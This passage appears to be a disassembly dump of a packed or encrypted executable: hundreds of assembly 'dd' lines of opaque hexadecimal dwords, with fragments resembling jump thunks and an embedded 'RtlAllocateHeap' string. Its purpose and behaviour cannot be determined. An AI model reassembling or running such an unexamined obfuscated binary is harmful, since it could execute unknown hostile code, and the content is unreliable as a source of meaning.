45321566h, 7B339F97h, 11239D69h, 84DB1566h dd 41321566h, 1B5002E7h, 0BC1ACF74h, 0DB6F17BBh, 0C474A437h dd 0E9BAA397h, 4AEA353Fh, 88259F69h, 56DB1566h, 29321566h dd 0DAED5023h, 0D966D8B3h, 274A8CC3h, 0B586EB62h, 1E92290Ah dd 883319E2h, 0C03D7566h, 22321564h, 9A53D2ECh, 164316Ah dd 40F49480h, 0A3321566h, 113211A0h, 0AC069266h, 43B41A3Ah dd 2D321566h, 113214E8h, 0DE65E966h, 7A572BD8h, 19C4945Ah dd 0D077B65Ah, 6EF31688h, 44DC9461h, 0ABABC0F6h, 0E9BB4B91h dd 3547539h, 0DB74ADh, 0DE321567h, 993DDC57h, 8832156Ch dd 4BC79F06h, 223215E7h, 0AF647466h, 0F10213F4h, 42A3FBE7h dd 0D3336C56h, 1DBD1A38h, 61321566h, 44321561h, 4AD0E241h dd 0F856589Ah, 883215E9h, 4432128Fh, 6AB1E566h, 0A292DC8Dh dd 8832160Eh, 603E9E66h, 2236D1E7h, 1ECE1566h, 883214E1h dd 2CDBE066h, 0CB321566h, 1132156Eh, 1385C0B3h, 0CFA17DF9h dd 16417D30h, 25B910FBh, 8CF69442h, 0C5321566h, 150CEA90h dd 0FFB35B31h, 0DA981FE3h, 4B6CE4EFh, 223207E8h, 113FFC66h dd 88991566h, 570762A1h, 0EE5466D6h, 0F8B07E07h, 88321579h dd 44321D8Fh, 0A7140666h, 0D46D48BDh, 8CDE9435h, 0CD321566h dd 258F314Ah, 98321566h, 7BCA488Fh, 0C9B9EDC2h, 24351577h dd 0D8B7EC9Ah, 88109069h, 0C63D1566h, 22321567h, 879C9Fh dd 61341266h, 44321569h, 52953B3Fh, 203ADF1Ah, 94BD4C1Bh dd 0B87A763Ah, 7B162199h, 0F836D1E5h, 88321577h, 0A273D896h dd 2499E3C6h, 7CC32B77h, 41312BF5h, 0FE60424Eh, 393F2ECCh dd 79F2D7E7h, 6AB31292h, 5AED43B1h, 6834F7A7h, 23D6E7E7h dd 5FBBDB33h, 66A8AD3Ch, 0DA035B72h, 0D2CBEC39h, 88209C69h dd 49DB1566h, 0FD321566h, 7030682h, 0DC05CA87h, 1DECE2F5h dd 4FEB9406h, 7736C40Fh, 0E91205DCh, 2204EA00h, 0A51639E7h dd 776A734Ch, 0F8B7337h, 8C33734Ch, 2BDB4C00h, 4B321566h dd 0A8B15D6Dh, 4D1A53FDh, 2DF1299Ah, 1133DCE2h, 8835FC66h dd 0CEBE1566h, 0BA7C0967h, 113CFCABh, 38691566h, 28E28F4Dh dd 470A79EBh, 328B1707h dd 4FBA4637h, 0CC69ECEEh, 0CB524CADh, 1132156Eh, 0B8EE442Bh dd 9F14A496h, 43CCAA69h, 1136F9E7h, 8CBB1566h, 64C2A542h dd 0AC3D4DA5h, 1132156Eh, 88309F69h, 25521566h, 2232128Fh dd 0E3BD9A66h, 0A8AE878Ch, 4B42EEE6h, 2231BEE2h, 0BF1A66h dd 61321566h, 4432156Ah, 506CD913h, 0A091F932h, 0D759A991h dd 0C03DFC5Ah, 22321458h, 1ED9299Eh, 883320E2h, 4434FC66h dd 0CE101566h, 4C1AAB7h, 87F0299Ah, 443334E2h, 0A9547566h dd 0D4B275A7h, 8838AF73h, 25531CD6h, 0A63DDE5Ah, 1132146Ch dd 88321F8Fh, 24623266h, 5D7B2EFh, 77AC88A6h, 8717EA5Bh dd 4432E4E2h, 2EB11A66h, 1E321566h, 883213EFh, 44BB1A66h dd 1E321566h, 0C6B61AACh, 0E8321566h, 44B01A06h, 2D321566h dd 113215E5h, 3547466h, 0A70E74A0h, 21389169h, 993D1566h dd 8832156Eh, 44309269h, 43521566h, 0EE1C2800h, 88549069h dd 0CE3D1566h, 22321568h, 11321C8Fh, 0BE4BE266h, 223AFC72h dd 0CEB33B7Dh, 11321562h, 331609EFh, 44321564h, 21B8E667h dd 1139FC3Dh, 0F78B1566h, 259FB154h, 0CE2144DCh, 0A0634736h dd 8BDBD56Fh, 8DCCD498h, 0DC31F4A6h, 0F8F395AFh, 0A86BDBEEh dd 78C74F96h, 69B61AC6h, 71321566h, 0AF2BAF00h, 0A4B37334h dd 436A4CE8h, 49C17D34h, 9CB914B7h, 40F69442h, 68321566h dd 5300D7E7h, 4AB326C8h, 1E13322Eh, 0E05EFFE7h, 0C1BB9AC6h dd 82DB753Ch, 0F2321566h, 23629BD9h, 7999E50Ch, 0E9CB9E49h dd 4432518Fh, 97BBED66h, 17351577h, 88321F8Fh, 8ECA0D66h dd 61759DAh, 9CD86EF9h, 85BD61FBh, 4435FC60h, 0AB6E1566h dd 9E2E853Dh, 74E1EADFh, 4433AF34h, 0F2BB1566h, 921601EDh dd 0E85211A2h, 0C3F803D9h, 436A475Dh, 0A952D607h, 0ABF80218h dd 6E39400h, 0AB6374B4h, 15F39487h, 9321566h, 4432118Fh dd 63E9266h, 35369C3Ah, 8832018Fh, 0C0F65366h, 4252E45Dh dd 0F51DF9Fh, 0FBA8206h, 0B3D722C0h, 3244EAF6h, 921611EDh dd 0EE5211A2h, 142954DDh, 22329669h, 70691566h, 9C6F90EFh dd 4B521361h, 953DD6D9h, 963D74B5h, 88321567h, 60369E9Eh dd 0A3D59C31h, 113211A1h, 8CF59666h, 181629E1h, 22321F8Fh dd 43440266h, 13D880CFh, 1158B3E6h, 223209DBh, 0BF49466h dd 8932E220h, 5EDC9488h, 7F32E220h, 113A9A69h, 23D1566h dd 44321564h, 9FBF7406h, 17351D7Bh, 88321A8Fh, 22D4CA66h dd 97C62EFFh, 0CC33B8A2h, 0A2AC3A28h, 0F967E0CBh, 19F82014h dd 5F6BE0E7h, 45B336D6h, 466623DFh, 0A336F8A7h, 0BC7501A3h dd 0D5DA1475h, 60165165h, 771D1A4Bh, 0F899E973h, 88321574h dd 7DA83FBEh, 1B1FE3FCh, 0F5B423EDh, 17DC8E6Eh, 0C9C7B423h dd 252CF4DBh, 71877560h, 8832138Fh, 0F6B60866h, 4364D75Fh dd 0A75275CBh, 9CDA74DFh, 0FE321566h, 0D1BC7579h, 8915B85Ch dd 58B5471Ah, 0CEDD4195h, 2D612884h, 706DCCD1h, 0BA3DBA4Bh dd 60761627h, 8D894642h, 10732769h, 0DDC74EBEh, 81B3F0EFh dd 22321562h, 1136F8E7h, 0A4B51566h, 40BB4942h, 89C7E942h dd 113E9B69h, 3D1566h, 44321560h, 22329869h, 0ACBF1566h dd 8E350B77h, 4439FC06h, 8F3A1566h, 24B983DBh, 7EAAC4A9h dd 3DFC9435h, 431EA078h, 0B81ACBh, 61321566h, 4432156Ah dd 0A5E654CDh, 0A9F28954h, 32914A2Dh, 0C0607663h, 676167Fh dd 4B89464Eh, 913314Fh, 0A6AC7ADh, 69E9E22Bh, 0C574E6E7h dd 501B9E73h, 443CFC3Dh, 0DEDF1566h, 29FF64E6h, 3628D3FAh dd 306DD37Dh, 16CDE0CDh, 0D5B34B42h, 88321562h, 1E87E906h dd 2BDBD607h, 23321566h, 32A0BADh, 74A26A01h, 2228A40Eh dd 35069C66h, 4BAF989Eh, 243418E8h, 22321B8Fh, 9C8DDE66h dd 0B90BF6EBh, 4F15733Ah, 955D3F21h, 0C2CD7495h, 88239969h dd 48DB1566h, 0E3321566h, 6D18F77Fh, 5CF30D22h, 0AD775161h dd 0DDCDE856h, 1BB61A93h, 0E8321566h, 44329369h, 61521566h dd 4ECEDF61h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A44BEDE7h dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 0DCE2559h, 0F1438476h dd 49AA32DCh, 71BA8C1Bh, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh dd 38C88260h, 2C5ACB66h, 5CDF0746h, 0D552A632h, 5E0003C6h dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 0AC26C98Fh, 0B0D9FB57h dd 0A44BE9EBh, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h dd 491B32DCh, 2F168C1Bh, 243756CBh, 2B967513h, 2ABD5414h dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 15E9h, 9FCB4D00h dd 26h, 3 dup(0) dd 19E90000h, 6800000Eh, 60E6B32h, 0F91286E9h, 6C2E68FFh dd 7CE9060Eh, 68FFF912h, 60E6CFFh, 0F91272E9h, 6DBA68FFh dd 68E9060Eh, 68FFF912h, 60E712Dh, 0F9125EE9h, 745A68FFh dd 54E9060Eh, 68FFF912h, 60E7557h, 0F9124AE9h, 6AF126FFh dd 556BE8Ch, 0A4B75927h, 411AF8C6h, 0DB809563h, 0CD0A62FDh dd 67351348h, 0CEACAFh, 9C6A4813h, 3608E675h, 0D3E9CB52h dd 946E84D5h, 878C4AF5h, 7EAB1D4h, 0A389D243h, 0CF437EDEh dd 0D5BBEBF6h, 0C7B36C4Eh, 0CBAEF17Eh, 1447CC10h, 23F0AE36h dd 4CD55538h, 4E29B096h, 0D378C0B5h, 0BA32AA90h, 0C0AD5133h dd 0F305E983h, 3CB8BA4h, 59393ACBh, 56EAB9BCh, 54F9BE32h dd 36BAB132h, 565D5953h, 0D7F4B132h, 5BEA32D8h, 56A35834h dd 80EEB132h, 0D065D203h, 519C3601h, 8BBAB132h, 830CA4A3h dd 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 0F717FB23h, 25FB74F0h dd 0FDF53FD5h, 7BB617ADh, 0B7342291h, 23AC7ACFh, 20AD29B7h dd 75FD7A1Ah, 987C2779h, 73F3361Fh, 3F09FFA0h, 0F305E983h dd 8DDB8BA4h, 0E7BB1BDh, 0F78D8D06h, 0B8060F07h, 32156644h dd 0E9C1CF2Bh, 0D0073102h, 4C783C8h, 60F67549h, 66595160h dd 579DCA81h, 61CA8A61h, 0E2816660h, 50611B69h, 8124048Bh dd 4C4h, 8B666000h, 0BD8361D7h, 6070FF5h, 83097500h, 73001BDh dd 19740006h, 0C08B5350h, 411B8h, 5D858900h, 8D060726h dd 9AD0E9Dh, 5BD3FF06h, 1BD8358h, 60730h, 53501774h, 411B8h dd 5D858900h, 8D060726h, 9A9AF9Dh, 5BD3FF06h, 9E9F558h dd 7C000000h, 0D96978Eh, 0E963CB4Dh, 1870Fh, 50F80000h dd 8324048Bh, 800F04C4h, 1, 7E8F8F8h, 9C000000h, 0A20BA410h dd 0BF0FD28Dh, 7E95ED2h, 78000000h, 73B93292h, 0C681CE99h dd 64BFh, 0FE9h, 0DFAF9E00h, 0C57325F5h, 0BEFB35EFh, 3C43DC0Ah dd 3C8BC033h, 71BB6606h, 3EEF8147h, 0B5715433h, 0D6EF8110h dd 0E85B20E5h, 5, 804F7C63h, 0BE8CAh, 63A30000h, 3154EDC1h dd 18663711h, 14E943h, 935E0000h, 13BBFF21h, 0B6FD2BEh dd 38673E8Fh, 0B07800D6h, 5A5BE6EEh, 45BEEF81h, 0B70F5D44h dd 0F7B557CFh, 6606048Fh, 9E9DF8Bh, 0FB000000h, 3E792F3Fh dd 68BE9A9h, 6604E883h, 370FCA81h, 9C20F881h, 850FFFFFh dd 19h, 2BE9DA8Bh, 65000000h, 76390EA4h, 6CB7907Ch, 2E584A4Ah dd 2DD35230h, 63E9F834h, 0C4FFFFFFh, 0F6AF7FCCh, 0FE8083E8h dd 0C2EB6B18h, 0B1B96020h, 1DE92E0Dh, 0D1000000h, 68FDC1h dd 6 dup(0) dd 4D2E9h, 0CEB6800h, 8BE9060Fh, 68FFF86Fh, 60F0D73h, 0F86F81E9h dd 0ED268FFh, 77E9060Fh, 0F9FFF86Fh, 915F3D1Eh, 2CFAD883h dd 0CB9977E4h, 68361447h, 35D0AEADh, 0E675A037h, 7FDC3A08h dd 1B40D3A1h, 0B9A26F3Dh, 9E2509DBh, 84D676BCh, 4AC86741h dd 159C888Ch, 7EC76B33h, 0A3C675B8h, 86A9B25Fh, 692D10BFh dd 0FBAB2BACh, 9152FC3Ch, 967BBFE2h, 0C45DE7C5h, 37E675A1h dd 0E593CA51h, 8DD078BFh, 8E875D6Ah, 791578C0h, 0A28494B4h dd 0C088391Bh, 487BBE78h, 941B0513h, 78C110B2h, 6245F437h dd 2F56EDD2h, 5CE48F0Ch, 300h, 0F764AC6Ah, 0EBF3AF14h dd 2E1F7BDEh, 0BFDFFF00h, 189F8534h, 78BFBB35h, 411AFBB9h dd 0AE9EE15Eh, 694BD24Ah, 0EE78C063h, 0C4977FABh, 6AF7DAA1h dd 5B5ACC1Bh, 70568C95h, 53185EE9h, 6DA46275h, 93B6A571h dd 0BD3A1DCCh, 0C257577Ah, 0EDAF361Ch, 326F4C1Eh, 0C64B09EFh dd 28E9B795h, 0CD1AFC33h, 0C4251B15h, 312C8h, 3328EF00h dd 0CE8D8755h, 6DEE22F0h, 0A51C18Fh, 0A4B75E2Ch, 96412BC6h dd 30FEDC7Fh, 0C99775E6h, 6533114Ah, 0FFD1AFACh, 77B2941Bh dd 5D3784D6h, 9D148BEh, 67E6AB23h, 50F0C6CCh, 0B0AB6995h dd 683140CDh, 0B52D78B9h, 0B9504C2Eh, 0AB8ED178h, 8D05EB2Eh dd 50AC8E15h, 0EE3178B9h, 56CE470Bh, 0B94FEDCFh, 71F87278h dd 78B9508Fh, 7322D114h, 0D4EC795h, 5008DDEAh, 0D33E78B9h dd 238F5188h, 0F7011A9h, 28A13h, 0BBA07700h, 56050FDDh dd 0F566AA78h, 92C94917h, 2C2FE6B4h, 1EB9B34Eh, 0B88664F7h dd 511FFD5Eh, 0EDBB99C2h, 87593724h, 783A1CA3h, 0E5BF84D6h dd 51854A46h, 9EC9324Bh, 0D049C9ACh, 8E9D240Ah, 8B78B8A5h dd 42182548h, 0D078B88Eh, 0DFA65D22h, 0ACE49792h, 1B8h dd 4E0D04D3h, 8C95A368h, 53C11E6Eh, 0A071B570h, 0DD55DDBBh dd 0C84A7456h, 8AB6F97Eh, 6FEFD289h, 0C74E34EAh, 78C159F4h dd 5BB979h, 816716DDh, 46A5BBBCh, 0D6B976D4h, 0A1380E1Bh dd 2AC678C0h, 0CEB1AA6Ch, 0C3C2793Eh, 0C8E48F7Fh, 5Ch dd 0F5D75ED6h, 7A78C098h, 55060B37h, 8C4A0D72h, 0A3B85886h dd 270AD1F4h, 866CB2A7h, 2D0F960Eh, 0B27EC76Bh, 8D3C1FF2h dd 9B461DAAh, 4C278BFh, 0F51F4B10h, 0C3068366h, 30E4A2A0h dd 5E41082Bh, 0C03AFBD1h, 0E4DB8978h, 8FE1265Fh, 0A6328E4h dd 0C160EB24h, 0A261A285h, 88000000h, 44D10D04h, 7E2DF417h dd 5DFE175Bh, 977E3C3Ah, 0F41DE1C4h, 11004467h, 691843CDh dd 6DF8F48Bh, 9B767EC7h, 0C158E2C0h, 0FDBB3319h, 0D8654813h dd 78BD0C26h, 896BF26Ah, 0E78BDBCh, 0BC2B0D94h, 6DB078BDh dd 1B5EDBBEh, 0BD9E7735h, 570411DFh, 0A4B7CA20h, 0D8D43511h dd 12Bh, 3C1A41D6h, 0D7B5A66Eh, 76540709h, 13F16AA8h, 0AD8BD045h dd 987D5A12h, 0FF17E5C3h, 63B07E5Ch, 0C54C1AF8h, 2E6B896h dd 0D679997Bh, 0A5441E84h, 45CD1104h, 7D2CF316h, 1B40D19Fh dd 1EF7B53Dh, 70531A3Dh, 170D040Bh, 0C76BAE90h, 0AF0337Eh dd 0C76BA183h, 34E3267Eh, 1744CD11h, 74AAAF39h, 5C68C98Eh dd 0C746BEB9h, 25DF66E4h, 6A78C098h, 0A47C4127h, 0E2124503h dd 8E3D1EF6h, 0A66F2DABh, 0D057CFB5h, 78C12CEEh, 0D74D3073h dd 0C12D6A40h, 0E76EE678h, 78C12D05h, 0A064478Ah, 3E0CEA71h dd 8A3E00D7h, 0E4AF87D3h, 7C161235h, 0B3000000h, 2309D148h dd 3724EDABh, 8B1A4D14h, 0F3975AA4h, 6F820FF2h, 7478B906h dd 0D7FA61B4h, 403E6110h, 0EF5F41C8h, 24E478B8h, 0D7BA69F2h dd 7F5DFE13h, 0D8FB60B1h, 0C5BDDACBh, 0A2B958E9h, 82D93B7Fh dd 0ECD3655Fh, 0DBA068AFh, 6B4912FFh, 0C4E7749Dh, 0C84C9280h dd 0B5C1E493h, 0E6759B59h, 8919FCC3h, 3229E832h, 0D08B8654h dd 0DB1ADh, 204E0000h, 1BFD84FCh, 0A07EC76Bh, 4157A5Dh dd 0E1254813h, 0C4082B30h, 0A5E90C4Fh, 83C7EA71h, 62A6C992h dd 4185A8B3h, 23678AD1h, 74B6EEDh, 2A2B4E0Dh, 81E68956h dd 4C6h, 4EE8300h, 5C243487h, 68240489h, 3BCCh, 68241C89h dd 36AFh, 56240C89h, 60038468h, 0F6815E6Ah, 6C6F0871h dd 89F58955h, 815E5DEBh, 4ECh, 24248900h, 4240483h, 2C815359h dd 0A740A624h, 8418F1Bh, 0A6084181h, 8B1BA740h, 8956240Ch dd 4C681E6h, 83000000h, 348704C6h, 34FF5C24h, 0C4815B24h dd 4, 0F86AD1E9h, 91435FFFh, 9457BB83h, 48AD956Ah, 0B801B165h dd 60F1022h, 0E0FFC503h, 11B274ACh, 2097B60Bh, 6BA4F08Ah dd 76CF41D6h, 59B9D922h, 655384DBh, 7E294AA0h, 3674CCD5h dd 27524CD4h, 8347E4Bh, 63C9E1DBh, 644541ABh, 160CAFF5h dd 3102E119h, 4708DA3Eh, 34DF7A49h, 2724B8CCh, 0D49CFD2h dd 2F498AE5h, 43E0AC64h, 0EDE9h, 8C666000h, 0F04A8D8h dd 0DF84h, 69B58B00h, 8306072Dh, 850F00FEh, 22h, 2C0585C6h dd 68450607h, 8E726969h, 1B2DB5FFh, 858D0607h, 60A7B1Fh dd 8589D0FFh, 60707D1h, 3E80F08Bh, 31850FE9h, 8D000000h dd 0C7DBE85h, 8BD0FF06h, 72FBDBDh, 84C78106h, 8B000011h dd 72D69B5h, 0B9F78706h, 8, 0B58BA4F3h, 6072D69h, 1AAF858Dh dd 0D0FF060Bh, 1439B58Bh, 0FE830607h, 22850F00h, 0C6000000h dd 72C0585h, 0F4685406h, 0FFFF4EBEh, 71B2DB5h, 1F858D06h dd 0FF060A7Bh, 398589D0h, 8B060714h, 0E93E80F0h, 3A850Fh dd 0B58B0000h, 6071439h, 7DBE858Dh, 0D0FF060Ch, 2FBDBD8Bh dd 0C7810607h, 1184h, 8B08C783h, 71439B5h, 0B9F78706h dd 8, 0B58BA4F3h, 6071439h, 1AAF858Dh, 0D0FF060Bh, 858DC361h dd 60F1107h, 7918589h, 8D8D0607h, 60F128Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 5DC35141h, 87BB515h dd 0E5958BF8h, 89060700h, 706798Dh, 85C7F806h, 6072CE5h dd 7108h, 12E9h, 8BDF0500h, 0BEF5BE6Ch, 9C4B37DCh, 0EF2D64ABh dd 0C78DA54Dh, 72D0585h, 6, 0FFC58A00h, 7157DB5h, 0F7B70F06h dd 0BD95FFF9h, 0E9060700h, 0Eh, 736DD12Ah, 2445480Dh, 9E241E3Fh dd 6A64B1h, 16B595FFh, 0C08B0607h, 7F231CEBh, 6A34B7Ch dd 0D11D7CD9h, 0AC18297Eh, 7B2FD1FCh, 0D37CA7DAh, 0CA6EAAD7h dd 5E983D2h, 1C000000h, 134E88h, 53AE9h, 358BF00h, 9EBD5725h dd 3D1EF2C0h, 0DA81915Fh, 74E72EFCh, 6671FB96h, 0CEACAFh dd 99674516h, 3503E17Ah, 0CFA17FDCh, 7D8264EBh, 2D0784D6h dd 328DB075h, 0A197BF64h, 0FFC6E972h, 4086D50h, 0E72B4E0Dh dd 0C74F2D2Eh, 4A74AB02h, 0F2D55290h, 5578E32Eh, 34DE0011h dd 8E3D0427h, 0C7A930A8h, 4C7EC7B8h, 0F1E21085h, 0F7A62441h dd 0FF155914h, 12DA395Ch, 0BBA071ADh, 62F917D5h, 0C381097Fh dd 63270A51h, 77E42EB0h, 0F224E2C8h, 9EBABDE5h, 45F46091h dd 0F51EEC62h, 52C28066h, 0B0D3888Ch, 0D3173AE9h, 876A1942h dd 968E88CCh, 0C82B2D0Fh, 3C6FB27Eh, 4C05FAE4h, 0DF02B1E5h dd 0BDE07B9Bh, 0A0C39879h, 0F0AF14A6h, 0ED298EFCh, 89573526h dd 0A3B0D388h, 7EC76FCCh, 0B7AD12F4h, 5C3F1CF9h, 88ADC8BDh dd 82C3DEh, 4EA0000h, 0AA684E0Dh, 0BD2F566h, 52833DFh dd 93A05B3Eh, 7EC76BBBh, 85BA01E3h, 0DE88B200h, 0A183904Eh dd 0C75F381Ah, 0CB7ABD7Eh, 98AEE1A8h dd 4AC04911h, 181C2A5h, 0A8000000h, 0B3ED854Ah, 7938348Eh dd 1942D296h, 0DC3AF8F6h, 3CD89C7Fh, 5AB8FC1Fh, 7B9ADE01h dd 9B79BDE0h, 0BC599DC0h, 655A8E9Fh, 5027EF36h, 0C3508E86h dd 4B82514h, 38E7F786h, 34DDAB89h, 0FCC14927h, 1295758h dd 1E8366C4h, 644A1104h, 0C8EB70A6h, 65631E01h, 1F9D42A0h dd 11F41D9Fh, 0FC17C74Dh, 0F7BFA128h, 1447EC7h, 0F8BDA352h dd 6FCB4C36h, 9E593CE7h, 36E0D7DFh, 1E967CDFh, 0C7ECB597h dd 0E00AEC7Eh, 6D9E08D7h, 0EC624588h, 8268F31Eh, 83924CC4h dd 3FEEB5D8h, 6CF0D259h, 32757EC7h, 0C050944Fh, 0B63DB59Bh dd 7EC76CD4h, 78331659h, 5679E234h, 395CFF12h, 4E0D727Ah dd 50F7CC7Ah, 0DE88B545h, 7146h, 11046D00h, 6429274Ah dd 0F185BFA4h, 6F331620h, 5CD4BAA1h, 0C82AF3D5h, 5235787Eh dd 0B703897h, 371546CFh, 8CAFAC69h, 0D35ACA48h, 7EC82AF1h dd 1E08AF76h, 886D3FD9h, 1B072AD9h, 0A4F1166Dh, 0E7DE8883h dd 41h, 4A11040Eh, 38EA9F64h, 9F99B1BBh, 0C7833618h, 0C978BB7Eh dd 2CE72BE6h, 4EFD5EB2h, 0E9CE022Bh, 0FF5CB573h, 9EBD581Ch dd 100451C0h, 441B284Bh, 6C7EC76Bh, 770E358Ah, 14DE88B1h dd 1, 4F0C043Bh, 1CB9A469h, 4417E198h, 0AF62A661h, 0D04589ACh dd 8F1D688Bh, 1135C38h, 8CCF4672h, 7D420A69h, 0C7BC2A1Eh dd 8866F51Bh, 0DDC31BFEh, 0C025CF56h, 0A389CC78h, 0EEC2A42Bh dd 44778C0h, 0EF226621h, 48068E6Ch, 0E9AD90CBh, 8F4D3328h dd 3CF7DA81h, 0C893803Eh, 0EE8058E5h, 0AFD178C0h, 0B8D229EAh dd 1E44281h, 41D00A71h, 0A36E3C1Ah, 0FD14D2B8h, 39D82B5Eh dd 61010409h, 927FC37Eh, 0DFE7A6C9h, 88D33E98h, 108401AAh dd 52CAE48Fh, 0C0FFE9CBh, 482B6E78h, 10A07h, 8C4A2E00h dd 73F3D685h, 0CB5238EEh, 78C06F50h, 6BAFD215h, 9D7B5A6h dd 203BD608h, 0A18736FDh, 0FE6323DCh, 0F6B101D0h, 2A3C6FD7h dd 9D583B5Ch, 0BDA3B859h, 3EDCBE45h, 1E6178C0h, 0B9C1803Bh dd 62F918C2h, 0DDAADB84h, 45E1E48Fh, 8000000h, 0C388D048h dd 8E929E2Eh, 0DB6248F7h, 0FEC780D9h, 0B7755B9Eh, 14DBFE5Dh dd 87697631h, 0FFEC781h, 0C5E2CA8Fh, 0DFFCBA43h, 0ED57FCACh dd 56396A34h, 0F169F1C6h, 0BCBE452Bh, 817EC820h, 78DA603Eh dd 77000000h, 2309D148h, 0BF8BB19Ch, 10337678h, 301645CCh dd 4C4F31B8h, 91D478C0h, 0CAADAE65h, 0D08B8654h, 0F3E42CEAh dd 1253F592h, 85A85793h, 1320DBBEh, 78BF7B3Eh, 99BC9F74h dd 779AC155h, 0D37AE133h, 96A7F4CBh, 50C11D62h, 0BEA32D0Bh dd 853427EBh, 9011189Fh, 0CB0E72B0h, 4E66DE5h, 8972B068h dd 64A86346h, 7F8BAEADh, 0ADB4AA11h, 1088F75h, 0FE6CA17Dh dd 486EDDBBh, 5E2309D1h, 48678F86h, 0CC4A2DC6h, 0B95A3E45h dd 0D5F83B78h, 0FDDB8091h, 14FCE22Fh, 68759847h, 8377C120h dd 0D20C733Bh, 703E1C3Fh, 5397BAA1h, 35799CBFh, 6C4AF6E1h dd 8C30DF2Bh, 9E76BADDh, 208E9ABDh, 9A08FC5Bh, 0C618F925h dd 0DB80904Eh, 9342F1B8h, 312AE7B5h, 15120Eh, 4AAF0000h dd 169D878Ch, 7EC76B34h, 9BC776B9h, 0F9C0E378h, 4636E16h dd 0E1254813h, 0C4082B30h, 0A5E90C4Fh, 83C7EA71h, 62A6C992h dd 4185A8B3h, 23678AD1h, 74B6EEDh, 2A2B4E0Dh, 81E68956h dd 4C6h, 4EE8300h, 5C243487h, 68240C89h, 0B60h, 51240489h dd 0C181E189h, 4, 4E981h, 0C870000h, 14895C24h, 0BBBA5224h dd 89060F12h, 24148BD0h, 4C481h, 0EC810000h, 4, 83242489h dd 5A042404h, 7CE868h, 24048900h, 0FF08428Fh, 835A2434h dd 48B04C4h, 0E6895624h, 4C681h, 0C6830000h, 24348704h dd 6384E95Ch, 6A11FFF8h, 0D8EF32E0h, 763BB3CCh, 0B853139Eh dd 60F176Eh, 0E0FFC503h, 76B0F098h, 7D4B8B8Ah, 6F7732A5h dd 7D250C04h, 7E150DC8h, 1D0774E5h, 0D9E2AE2h, 207A13Eh dd 10086F5Ch, 42594885h, 387DC169h, 69C5F92Dh, 5F4942E2h dd 4881E976h, 26A36CB7h, 48DCFC02h, 6DCA40BFh, 27AB6C7Ah dd 72B44F28h, 2CC8FC4Dh, 3F273838h, 129BFD1Ch, 19199A97h dd 69CAFA64h, 4F217C99h, 53FFD99h, 459E084h, 3B423B7Eh dd 49E9h, 3EBFCE00h, 6C74521Ch, 6F6C6C41h, 65746163h, 70616548h dd 14000000h, 0Ch dup(0) dd 6EE90000h, 68000011h, 60F1AD1h, 0F862A1E9h, 1BD268FFh dd 97E9060Fh, 68FFF862h, 60F1E32h, 0F8628DE9h, 1F5368FFh dd 83E9060Fh, 68FFF862h, 60F22CCh, 0F86279E9h, 237468FFh dd 6FE9060Fh, 68FFF862h, 60F23BDh, 0F86265E9h, 24E768FFh dd 5BE9060Fh, 68FFF862h, 60F259Ah, 0F86251E9h, 25FF68FFh dd 47E9060Fh, 68FFF862h, 60F27BFh, 0F8623DE9h, 28BA68FFh dd 33E9060Fh, 3DFFF862h, 0D5A381DAh, 703E1C3Fh, 0FDDBBA0h dd 0AC7A5803h, 7914F269h, 2A31E4F3h, 0C3987E4Ch, 5FFC17E5h dd 0FD5EB381h, 0E2694D1Fh, 84D68400h, 40CAB85h, 0E72B4E0Dh dd 0CA0E312Ah, 0B42C1249h, 0C76B4B2Dh, 0AA8DD07Eh, 0C987E3EFh dd 9D2D104Bh, 4615FC26h, 0E07B9A68h, 47DD3402h, 0C76ADEC0h dd 7120637Eh, 0AA8C138Bh, 2F7EC76Bh, 754C0ECh, 7F3A1DE4h dd 0C74ED63Bh, 7EC76AE5h, 9A78276Ah, 139A0910h, 7EC76B31h dd 0DEC473B6h, 6AFDDF66h, 3F827EC7h, 8457DE5Ch, 978C07Bh dd 0C096A3C6h, 4E78C05Bh, 6124DBA0h, 2AE48FC5h, 4Dh, 9D14851h dd 9BC59C23h, 0FF4278BFh, 381AA119h, 0BD78C03Bh, 204318FDh dd 0CC7AA59h, 9AC1500Eh, 3B542AB7h, 8C8A78C0h, 0AC68ACCFh dd 0C5CD8CAFh, 1E36AFEh, 8678C03Bh, 24C09443h, 0CBAEAD66h dd 0C6BF443Bh, 0C5E48FE1h, 10Bh, 4E0D04ECh, 96682D2Bh dd 0B4654B8Dh, 61FA1642h, 5BBA7Eh, 0E37899DDh, 84D73FFDh dd 0BFA2B958h, 0A51C004h, 7AA0952Ch, 0FB167EC7h, 55BC7A60h dd 739FE306h, 4FFEC5E8h, 0E928F66Ch, 8D148C72h, 7EC773ABh dd 72C6A82Fh, 84B7EC7h, 4022A923h, 0C57EC773h, 35F0D382h dd 0C2997937h, 24FA5FDFh, 78C4B73Eh, 468978C0h, 0A37BDE68h dd 13F936BDh, 0BD3572B6h, 0B6BC5436h, 0FA19D972h, 0C8773E61h dd 0BC795BE2h, 0BBFE72B6h, 32185BD8h, 0DCBAA174h, 1D54070Eh dd 17ABC9E3h, 0A2FFFB5Ch, 0D500000Eh, 6D3B1942h, 8D6B4A7h dd 0A7755308h, 4412F06Bh, 11AC8AD1h, 0C2997C5Bh, 5B0016E4h dd 0F764AF7Dh, 95C64B19h, 7A01E5B7h, 84D68598h, 4AA4431Dh dd 0B957878Ch, 9D0F3A2h, 442734DDh, 0E0C69580h, 2FC4561Bh dd 0D5B8FDB3h, 0A480915Fh, 0C7C83B1Dh, 5638BF7Eh, 0DB7EC7C8h dd 1FF3B398h, 0A352193Ch, 0C85436BDh, 96D97EC7h, 489A09E7h dd 9C2309D1h, 78BF9BC5h, 5F41C842h, 0E478C03Bh, 0C2CFF2A1h dd 78C03AECh, 0DF66DE7Ah, 78C03AFDh, 0CC5C3F82h, 0E13550F7h dd 0A119E48Fh, 0C02F381Ah, 977ABD78h, 0AD56h, 0D047D00h dd 2EE72B4Eh, 940C0A2Dh, 2B203BD6h, 7EC76B49h, 